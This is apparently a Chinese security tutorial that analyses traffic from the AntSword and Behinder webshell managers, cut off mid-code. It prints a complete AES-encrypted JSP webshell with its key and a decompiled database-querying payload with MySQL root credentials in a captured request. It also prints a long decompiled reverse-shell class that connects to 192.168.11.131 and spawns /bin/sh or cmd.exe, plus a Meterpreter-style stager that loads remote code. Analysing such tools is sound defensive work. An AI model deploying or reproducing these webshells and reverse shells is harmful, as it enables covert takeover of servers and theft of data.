EAAAAPKrcAASoBtQACKgG1AAOxAAAAAAABAHEAcgABAHAAAAIsAAUACgAAAc4rwQAEmQAhK8AABE0qLLYABcAABrUAAiostgAHwAAItQADpwCsK8EABpkAUiorwAAGtQACKrQAArYACRIKtgALTSwEtgAMLCq0AAK2AA3AAAZOLbYACRIOtgALOgQZBAS2AAwqGQQttgANwAAItQADpwBeTSy2ABCnAFYrwQAImQBPKivAAAi1AAMqtAADtgAJEg62AAtNLAS2AAwsKrQAA7YADcAACE4ttgAJEgq2AAs6BBkEBLYADCoZBC22AA3AAAa1AAKnAAhNLLYAECoSEbUAEioSE7UAFCoSFbUAFrsAF1kSGLcAGU27ABdZEhi3ABlOEho6BBIbOgUSHDoGEh06Byq0AAMSHrkAHwIAKrQAAiq0ABa5ACACACq0AAMqtAAWuQAhAgAqKrsAIlm3ACMqtAACGQa5ACQCALYAJRIYtgAltgAmtgAntgAoOggqKrsAIlm3ACMqtAACGQe5ACQCALYAJRIYtgAltgAmtgAntgAoOgksGQS2AClXLSoZCBkJtgAqtgApVywttgArtgApVywZBbYAKVcqtAADuQAsAQAstgArtgAtpwAhOggtuwAiWbcAIxIutgAlGQi2AC%2B2ACW2ACa2AClXBKwAAwA0AHAAcwAPAIoAxgDJAA8BBAGrAa4ADwABAHMAAAA0AAcl9wBNBwB0B%2FcATQcAdAT%2FAN8ACAcAdQcAdgcAdwcAdwcAeAcAeAcAeAcAeAABBwB0HQAAAHkAegACAHAAAAAzAAQAAgAAAB4qtAAUEjC2ADGZAAUrsLsAMlkrtgAzKrQAFrcANLAAAAABAHMAAAADAAEOAHsAAAAEAAEADwAAAHwAegACAHAAAAHJAAYABwAAAWwDPSq0ABK4ADU9Kxy2ADZMpwAGTgM9KrQAFBIwtgAxmQCYK8YADCsSGLYAMZkABhIYsBI3Tiu2ADhMuwA5WSu2ADoFbLcAOzoEEhg6BQM2BhUGK7YAOqIAWbsAIlm3ACMZBbYAJS0rFQa2ADy2AD0HeC0rFQYEYLYAPLYAPYC2AD4SP7YAJbYAJjoFGQQtKxUGtgA8tgA9B3gtKxUGBGC2ADy2AD2AtgBAhAYCp%2F%2BkGQQSQbYAQrAqtAAUEhO2ADGZAKoBThJDuABEOgQZBBJFtgBGmwBLEke4AEg6BRkFEkkDvQBKtgBLGQUDvQBMtgBNOgYZBrYACRJOBL0ASlkDEwAyU7YASxkGBL0ATFkDK1O2AE3AAE%2FAAE9OpwBEElC4AEg6BRkFA70ASrYAUQO9AEy2AFI6BhkGtgAJElMEvQBKWQMTADJTtgBLGQYEvQBMWQMrU7YATcAAT8AAT067ADJZLRJBtwA0sCuwAAEAAgAQABMADwABAHMAAABDAAr%2FABMAAwcAdQcAeAEAAQcAdAIYAv8AHQAHBwB1BwB4AQcAeAcAfQcAeAEAAPoAXvgAB%2F0AZgcATwcAePsAQPkACgB7AAAABAABAA8AAAB%2BAH8AAgBwAAABZwADABAAAAEXEhg6Byy2AFQSVRJWtgBXEla2AFg6CBkIAzK2AFS4AEhXuwAiWbcAIxkIBDK2ACUSWbYAJSu2ACW2ACY6CRkJuABaOgoZCrkAWwEAOgsZCy25AFwCADoMGQy5AF0BADoNFQaZAFQENg4VDhkNuQBeAQCjAC8ZDRUOuQBfAgA6D7sAIlm3ACMZB7YAJRkPtgAlGQS2ACW2ACY6B4QOAaf%2Fy7sAIlm3ACMZB7YAJRkFtgAltgAmOgcZDLkAYAEAmQBXBDYOFQ4ZDbkAXgEAowAvGQwVDrkAYQIAOg%2B7ACJZtwAjGQe2ACUZD7YAJRkEtgAltgAmOgeEDgGn%2F8u7ACJZtwAjGQe2ACUZBbYAJbYAJjoHp%2F%2BlGQewAAAAAQBzAAAAPgAG%2FwBoAA8HAHUHAHgHAHgHAHgHAHgHAHgBBwB4BwCABwB4BwCBBwCCBwCDBwCEAQAA%2BgA3FfwADAH6ADcYAHsAAAAEAAEADwAAAIUAhgACAHAAAAAkAAcABgAAABgSYk4SYzoEEhg6BSorLC0ZBBkFA7YAZLAAAAAAAHsAAAAEAAEADwAA&race8aa47b04c1=DnVVRGOA%3D%3D&xbac343245afb6=DzY29tLm15c3FsLmpkYmMuRHJpdmVyCmpkYmM6bXlzcWw6Ly8xOTIuMTY4LjExLjEyOTozMzA2L3NlY3VyaXR5P3VzZXI9cm9vdCZwYXNzd29yZD1yZWRoYXQ%3D
获得反编译.class
代码
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.PageContext;
public class Show_databases {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder;
public String cs;
public String randomPrefix;
public Show_databases() {
}
public boolean equals(Object var1) {
if (var1 instanceof PageContext) {
PageContext var2 = (PageContext)var1;
this.request = (HttpServletRequest)var2.getRequest();
this.response = (HttpServletResponse)var2.getResponse();
} else {
Field var4;
Field var13;
if (var1 instanceof HttpServletRequest) {
this.request = (HttpServletRequest)var1;
try {
var13 = this.request.getClass().getDeclaredField("request");
var13.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest)var13.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse)var4.get(var3);
} catch (Exception var12) {
var12.printStackTrace();
}
} else if (var1 instanceof HttpServletResponse) {
this.response = (HttpServletResponse)var1;
try {
var13 = this.response.getClass().getDeclaredField("response");
var13.setAccessible(true);
HttpServletResponse var15 = (HttpServletResponse)var13.get(this.response);
var4 = var15.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest)var4.get(var15);
} catch (Exception var11) {
var11.printStackTrace();
}
}
}
this.randomPrefix = "2";
this.encoder = "base64";
this.cs = "UTF8";
StringBuffer var14 = new StringBuffer("");
StringBuffer var16 = new StringBuffer("");
String var17 = "a7709998";
String var5 = "cf474c1";
String var6 = "race8aa47b04c1";
String var7 = "xbac343245afb6";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
String var8 = this.EC(this.decode(this.request.getParameter(var6) + ""));
String var9 = this.EC(this.decode(this.request.getParameter(var7) + ""));
var14.append(var17);
var16.append(this.showDatabases(var8, var9));
var14.append(var16.toString());
var14.append(var5);
this.response.getWriter().print(var14.toString());
} catch (Exception var10) {
var16.append("ERROR:// " + var10.toString());
}
return true;
}
String EC(String var1) throws Exception {
return this.encoder.equals("hex") ? var1 : new String(var1.getBytes(), this.cs);
}
String decode(String var1) throws Exception {
boolean var2 = false;
try {
int var8 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var8);
} catch (Exception var7) {
var2 = false;
}
String var3;
if (!this.encoder.equals("hex")) {
if (this.encoder.equals("base64")) {
var3 = null;
String var10 = System.getProperty("java.version");
byte[] var9;
Class var11;
Object var12;
if (var10.compareTo("1.9") >= 0) {
var11 = Class.forName("java.util.Base64");
var12 = var11.getMethod("getDecoder").invoke(var11);
var9 = (byte[])((byte[])var12.getClass().getMethod("decode", String.class).invoke(var12, var1));
} else {
var11 = Class.forName("sun.misc.BASE64Decoder");
var12 = var11.getDeclaredConstructor().newInstance();
var9 = (byte[])((byte[])var12.getClass().getMethod("decodeBuffer", String.class).invoke(var12, var1));
}
return new String(var9, "UTF-8");
} else {
return var1;
}
} else if (var1 != null && !var1.equals("")) {
var3 = "0123456789ABCDEF";
var1 = var1.toUpperCase();
ByteArrayOutputStream var4 = new ByteArrayOutputStream(var1.length() / 2);
String var5 = "";
for(int var6 = 0; var6 < var1.length(); var6 += 2) {
var5 = var5 + (var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1))) + ",";
var4.write(var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1)));
}
return var4.toString("UTF-8");
} else {
return "";
}
}
String executeSQL(String var1, String var2, String var3, String var4, String var5, boolean var6) throws Exception {
String var7 = "";
String[] var8 = var2.trim().replace("\r\n", "\n").split("\n");
Class.forName(var8[0].trim());
String var9 = var8[1] + "&characterEncoding=" + var1;
Connection var10 = DriverManager.getConnection(var9);
Statement var11 = var10.createStatement();
ResultSet var12 = var11.executeQuery(var3);
ResultSetMetaData var13 = var12.getMetaData();
int var14;
String var15;
if (var6) {
for(var14 = 1; var14 <= var13.getColumnCount(); ++var14) {
var15 = var13.getColumnName(var14);
var7 = var7 + var15 + var4;
}
var7 = var7 + var5;
}
while(var12.next()) {
for(var14 = 1; var14 <= var13.getColumnCount(); ++var14) {
var15 = var12.getString(var14);
var7 = var7 + var15 + var4;
}
var7 = var7 + var5;
}
return var7;
}
String showDatabases(String var1, String var2) throws Exception {
String var3 = "show databases";
String var4 = "\t";
String var5 = "";
return this.executeSQL(var1, var2, var3, var4, var5, false);
}
}
新建Show_databases
类,并修改代码
package com.example.antsword_analysis;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Show_databases {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder;
public String cs;
public String randomPrefix;
public Show_databases() {
}
public boolean equals(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
this.request = httpServletRequest;
this.response = httpServletResponse;
Field var4;
Field var13;
try {
var13 = this.request.getClass().getDeclaredField("request");
var13.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest) var13.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse) var4.get(var3);
} catch (Exception var12) {
var12.printStackTrace();
}
try {
var13 = this.response.getClass().getDeclaredField("response");
var13.setAccessible(true);
HttpServletResponse var15 = (HttpServletResponse) var13.get(this.response);
var4 = var15.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest) var4.get(var15);
} catch (Exception var11) {
var11.printStackTrace();
}
this.randomPrefix = "2";
this.encoder = "base64";
this.cs = "UTF8";
StringBuffer var14 = new StringBuffer("");
StringBuffer var16 = new StringBuffer("");
String var17 = "a7709998";
String var5 = "cf474c1";
String var6 = "race8aa47b04c1";
String var7 = "xbac343245afb6";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
String var8 = this.EC(this.decode(this.request.getParameter(var6) + ""));
String var9 = this.EC(this.decode(this.request.getParameter(var7) + ""));
var14.append(var17);
var16.append(this.showDatabases(var8, var9));
var14.append(var16.toString());
var14.append(var5);
this.response.getWriter().print(var14.toString());
} catch (Exception var10) {
var16.append("ERROR:// " + var10.toString());
}
return true;
}
String EC(String var1) throws Exception {
return this.encoder.equals("hex") ? var1 : new String(var1.getBytes(), this.cs);
}
String decode(String var1) throws Exception {
boolean var2 = false;
try {
int var8 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var8);
} catch (Exception var7) {
var2 = false;
}
String var3;
if (!this.encoder.equals("hex")) {
if (this.encoder.equals("base64")) {
var3 = null;
String var10 = System.getProperty("java.version");
byte[] var9;
Class var11;
Object var12;
if (var10.compareTo("1.9") >= 0) {
var11 = Class.forName("java.util.Base64");
var12 = var11.getMethod("getDecoder").invoke(var11);
var9 = (byte[]) ((byte[]) var12.getClass().getMethod("decode", String.class).invoke(var12, var1));
} else {
var11 = Class.forName("sun.misc.BASE64Decoder");
var12 = var11.getDeclaredConstructor().newInstance();
var9 = (byte[]) ((byte[]) var12.getClass().getMethod("decodeBuffer", String.class).invoke(var12, var1));
}
return new String(var9, "UTF-8");
} else {
return var1;
}
} else if (var1 != null && !var1.equals("")) {
var3 = "0123456789ABCDEF";
var1 = var1.toUpperCase();
ByteArrayOutputStream var4 = new ByteArrayOutputStream(var1.length() / 2);
String var5 = "";
for (int var6 = 0; var6 < var1.length(); var6 += 2) {
var5 = var5 + (var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1))) + ",";
var4.write(var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1)));
}
return var4.toString("UTF-8");
} else {
return "";
}
}
String executeSQL(String var1, String var2, String var3, String var4, String var5, boolean var6) throws Exception {
String var7 = "";
String[] var8 = var2.trim().replace("\r\n", "\n").split("\n");
Class.forName(var8[0].trim());
String var9 = var8[1] + "&characterEncoding=" + var1;
Connection var10 = DriverManager.getConnection(var9);
Statement var11 = var10.createStatement();
ResultSet var12 = var11.executeQuery(var3);
ResultSetMetaData var13 = var12.getMetaData();
int var14;
String var15;
if (var6) {
for (var14 = 1; var14 <= var13.getColumnCount(); ++var14) {
var15 = var13.getColumnName(var14);
var7 = var7 + var15 + var4;
}
var7 = var7 + var5;
}
while (var12.next()) {
for (var14 = 1; var14 <= var13.getColumnCount(); ++var14) {
var15 = var12.getString(var14);
var7 = var7 + var15 + var4;
}
var7 = var7 + var5;
}
return var7;
}
String showDatabases(String var1, String var2) throws Exception {
String var3 = "show databases";
String var4 = "\t";
String var5 = "";
return this.executeSQL(var1, var2, var3, var4, var5, false);
}
}
配置Servlet
服务
package com.example.antsword;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
@WebServlet("/command_2")
public class command_2 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// new Exec().equals(request, response);
new Show_databases().equals(request, response);
}
}
数据库连接返回数据
1.7. debug
步骤
- 抓取执行的代码,将解码之后的
bytes
写入到对应的.class
文件中 - 使用
idea
反编译或者jd-gui
将class
文件解码成.java
文件 - 将解码之后的文件提取出来,并创建对应的类,将对应的
pageContext
修改成request
以及response
(针对混淆需要自己修改代码) - 最后将其绑定到对应的
Servlet
中,访问对应的Servlet
- 使用
burp suite
抓取对应的数据包,再将路径替换成对应的Servlet
中的路径,确保参数能够传入以便分析流量
2. 冰蝎
设置冰蝎代理,方便burp suite
抓包
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%><%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
2.1. 反弹shell流量分析-jsp
2.1.1. shell
2.1.1.1. debug调试
- 尝试连接
- 调整代码
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%><%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
byte[] bytes = new BASE64Decoder().decodeBuffer(request.getReader().readLine());
System.out.println("bytes: " + new String(bytes));
byte[] finalBytes = c.doFinal(bytes);
System.out.println("finalBytes: " + new String(finalBytes));
FileOutputStream fileOutputStream = new FileOutputStream("./reverse_connection.class");
fileOutputStream.write(finalBytes);
fileOutputStream.close();
new U(this.getClass().getClassLoader()).g(finalBytes).newInstance().equals(pageContext);
}
%>
- 再次反弹shell,将反编译内容存入
reverse_connection.class
文件中
reverse_connection.class
代码
package com.gpplxw;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintStream;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Locale;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Stack;
import java.util.StringTokenizer;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Yxduci extends ClassLoader implements Runnable {
public static String type;
public static String ip;
public static String port;
private Object Request;
private Object Response;
private Object Session;
InputStream dn;
OutputStream rm;
private static final String OS_NAME;
private static final String PATH_SEP;
private static final boolean IS_AIX;
private static final boolean IS_DOS;
private static final String JAVA_HOME;
public Yxduci(InputStream dn, OutputStream rm) {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
super();
this.dn = dn;
this.rm = rm;
}
public Yxduci() {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
super();
}
public boolean equals(Object obj) {
HashMap result = new HashMap();
boolean var13 = false;
Object so;
Method write;
label91: {
try {
var13 = true;
this.fillContext(obj);
if (type.equals("shell")) {
this.shellConnect();
} else if (type.equals("meter")) {
this.meterConnect();
}
result.put("status", "success");
var13 = false;
break label91;
} catch (Exception var17) {
result.put("status", "fail");
result.put("msg", var17.getMessage());
var13 = false;
} finally {
if (var13) {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var14) {
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var15) {
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
}
return true;
}
public void run() {
BufferedReader hz = null;
BufferedWriter cns = null;
try {
hz = new BufferedReader(new InputStreamReader(this.dn));
cns = new BufferedWriter(new OutputStreamWriter(this.rm));
char[] buffer = new char[8192];
int length;
while((length = hz.read(buffer, 0, buffer.length)) > 0) {
cns.write(buffer, 0, length);
cns.flush();
}
} catch (Exception var6) {
}
try {
if (hz != null) {
hz.close();
}
if (cns != null) {
cns.close();
}
} catch (Exception var5) {
}
}
private void shellConnect() throws Exception {
try {
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ip, Integer.parseInt(port));
Process process = Runtime.getRuntime().exec(ShellPath);
(new Thread(new Yxduci(process.getInputStream(), socket.getOutputStream()))).start();
(new Thread(new Yxduci(socket.getInputStream(), process.getOutputStream()))).start();
} catch (Exception var4) {
throw var4;
}
}
public static void main(String[] args) {
try {
Yxduci c = new Yxduci();
ip = "192.168.50.53";
port = "4444";
c.meterConnect();
} catch (Exception var2) {
}
}
private void meterConnect() throws Exception {
Properties props = new Properties();
Class clazz = Yxduci.class;
String clazzFile = clazz.getName().replace('.', '/') + ".class";
props.put("LHOST", ip);
props.put("LPORT", port);
String executableName = props.getProperty("Executable");
File droppedFile;
if (executableName != null) {
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
tempDir.mkdir();
droppedFile = new File(tempDir, executableName);
writeEmbeddedFile(clazz, executableName, droppedFile);
props.remove("Executable");
props.put("DroppedExecutable", droppedFile.getCanonicalPath());
}
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
String droppedExecutable = props.getProperty("DroppedExecutable");
int i;
if (spawn > 0) {
props.setProperty("Spawn", String.valueOf(spawn - 1));
droppedFile = File.createTempFile("~spawn", ".tmp");
droppedFile.delete();
File tempDir = new File(droppedFile.getAbsolutePath() + ".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
writeEmbeddedFile(clazz, clazzFile, classFile);
if (props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", (String)null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[]{getJreExecutable("java"), "-classpath", tempDir.getAbsolutePath(), clazz.getName()});
proc.getInputStream().close();
proc.getErrorStream().close();
Thread.sleep(2000L);
File[] files = new File[]{classFile, classFile.getParentFile(), propFile, tempDir};
for(int i = 0; i < files.length; ++i) {
for(i = 0; i < 10 && !files[i].delete(); ++i) {
files[i].deleteOnExit();
Thread.sleep(100L);
}
}
} else if (droppedExecutable != null) {
droppedFile = new File(droppedExecutable);
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", Boolean.TYPE).invoke(droppedFile, Boolean.TRUE);
} catch (NoSuchMethodException var16) {
Runtime.getRuntime().exec(new String[]{"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception var17) {
}
}
Runtime.getRuntime().exec(new String[]{droppedExecutable});
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", (String)null);
String url = props.getProperty("URL", (String)null);
Object in;
Object out;
if (lPort <= 0) {
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:")) {
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
} else if (url.startsWith("https:")) {
URLConnection uc = (new URL(url)).openConnection();
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", URLConnection.class).invoke((Object)null, uc);
in = uc.getInputStream();
} else {
in = (new URL(url)).openStream();
}
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
socket = new Socket(lHost, lPort);
} else {
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close();
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", (String)null);
if (aesPassword != null) {
Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", InputStream.class, OutputStream.class, String.class).invoke((Object)null, in, out, aesPassword);
in = (InputStream)streams[0];
out = (OutputStream)streams[1];
}
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- " + props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];
for(i = 0; i < stageParams.length; ++i) {
stageParams[i] = stageParamTokenizer.nextToken();
}
(new Yxduci()).bootstrap((InputStream)in, (OutputStream)out, props.getProperty("EmbeddedStage", (String)null), stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
InputStream in = clazz.getResourceAsStream("/" + resourceName);
FileOutputStream fos = new FileOutputStream(targetFile);
byte[] buf = new byte[4096];
int len;
while((len = in.read(buf)) != -1) {
fos.write(buf, 0, len);
}
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {
DataInputStream in = new DataInputStream(rawIn);
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
Class clazz;
if (embeddedStageName == null) {
int length = in.readInt();
do {
byte[] classfile = new byte[length];
in.readFully(classfile);
this.resolveClass(clazz = this.defineClass((String)null, classfile, 0, length, pd));
length = in.readInt();
} while(length > 0);
} else {
clazz = Class.forName("javapayload.stage." + embeddedStageName);
}
Object stage = clazz.newInstance();
clazz.getMethod("start", DataInputStream.class, OutputStream.class, String[].class).invoke(stage, in, out, stageParameters);
} catch (Throwable var11) {
var11.printStackTrace(new PrintStream(out));
}
}
private static String getJreExecutable(String command) {
File jExecutable = null;
if (IS_AIX) {
jExecutable = findInDir(JAVA_HOME + "/sh", command);
}
if (jExecutable == null) {
jExecutable = findInDir(JAVA_HOME + "/bin", command);
}
return jExecutable != null ? jExecutable.getAbsolutePath() : addExtension(command);
}
private static String addExtension(String command) {
return command + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String dirName, String commandName) {
File dir = normalize(dirName);
File executable = null;
if (dir.exists()) {
executable = new File(dir, addExtension(commandName));
if (!executable.exists()) {
executable = null;
}
}
return executable;
}
private static File normalize(String path) {
Stack s = new Stack();
String[] dissect = dissect(path);
s.push(dissect[0]);
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
while(tok.hasMoreTokens()) {
String thisToken = tok.nextToken();
if (!".".equals(thisToken)) {
if ("..".equals(thisToken)) {
if (s.size() < 2) {
return new File(path);
}
s.pop();
} else {
s.push(thisToken);
}
}
}
StringBuffer sb = new StringBuffer();
for(int i = 0; i < s.size(); ++i) {
if (i > 1) {
sb.append(File.separatorChar);
}
sb.append(s.elementAt(i));
}
return new File(sb.toString());
}
private static String[] dissect(String path) {
char sep = File.separatorChar;
path = path.replace('/', sep).replace('\\', sep);
String root = null;
int colon = path.indexOf(58);
int nextsep;
if (colon > 0 && IS_DOS) {
nextsep = colon + 1;
root = path.substring(0, nextsep);
char[] ca = path.toCharArray();
root = root + sep;
nextsep = ca[nextsep] == sep ? nextsep + 1 : nextsep;
StringBuffer sbPath = new StringBuffer();
for(int i = nextsep; i < ca.length; ++i) {
if (ca[i] != sep || ca[i - 1] != sep) {
sbPath.append(ca[i]);
}
}
path = sbPath.toString();
} else if (path.length() > 1 && path.charAt(1) == sep) {
nextsep = path.indexOf(sep, 2);
nextsep = path.indexOf(sep, nextsep + 1);
root = nextsep > 2 ? path.substring(0, nextsep + 1) : path;
path = path.substring(root.length());
} else {
root = File.separator;
path = path.substring(1);
}
return new String[]{root, path};
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
static {
OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
PATH_SEP = System.getProperty("path.separator");
IS_AIX = "aix".equals(OS_NAME);
